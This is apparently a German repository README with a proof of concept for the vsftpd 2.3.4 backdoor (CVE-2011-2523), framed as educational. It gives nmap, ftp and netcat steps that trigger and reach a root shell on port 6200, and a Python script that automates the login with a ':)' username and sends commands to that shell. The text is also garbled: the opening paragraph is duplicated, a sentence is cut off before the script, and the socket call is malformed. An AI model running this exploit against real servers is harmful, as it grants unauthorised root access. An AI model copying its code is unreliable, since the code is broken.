
vsftpd 2.3.4 (CVE-2011-2523) eine kritische Schwachstelle, die zu einer Reverse Root Shell führt. In diesem Repo werde ich einen PoC durchführen, der zeigt, wie man sie Schritt für Schritt ausnutzt – manuell & automatisiert (Python) – zu Bildungszwecken.
vsftpd 2.3.4 (CVE-2011-2523) eine kritische Schwachstelle, die zu einer Root-Shell führt. In diesem Repository erstelle ich einen PoC, der zeigt, wie man sie Schritt für Schritt ausnutzt – manuell und automatisiert (Python) – zu Bildungszwecken.
Worum geht es bei der Schwachstelle?
Zunächst einmal ist es ein serverseitiger Exploit, den wir remote ausnutzen werden. Die Idee ist: Wenn du dich mit dem FTP-Dienst verbindest, der standardmäßig auf Port 21 läuft, und einen Benutzernamen verwendest, der :) enthält, wird das System dazu veranlasst, einen TCP-Port 6200 mit einer Root-Shell zu öffnen. Jeder kann sich dann damit verbinden und Root-Zugriff auf den Zielserver erhalten – eine Katastrophe. Also lass es uns praktisch Schritt für Schritt durchgehen. Ich erkläre es zuerst manuell, um den vollständigen Überblick zu bekommen, und dann gibt es ein Python-Skript, um es automatisch auszunutzen.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
Port 6200 ist jetzt offen, das ist also unsere Backdoor.
nc -nv Target_IP 6200
Schließlich haben wir eine Root-Shell auf dem Zielsystem.

Nachdem wir es manuell gemacht haben, kennen wir die Exploit-Schritte:
:) enthält, um die Backdoor auszulösen.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()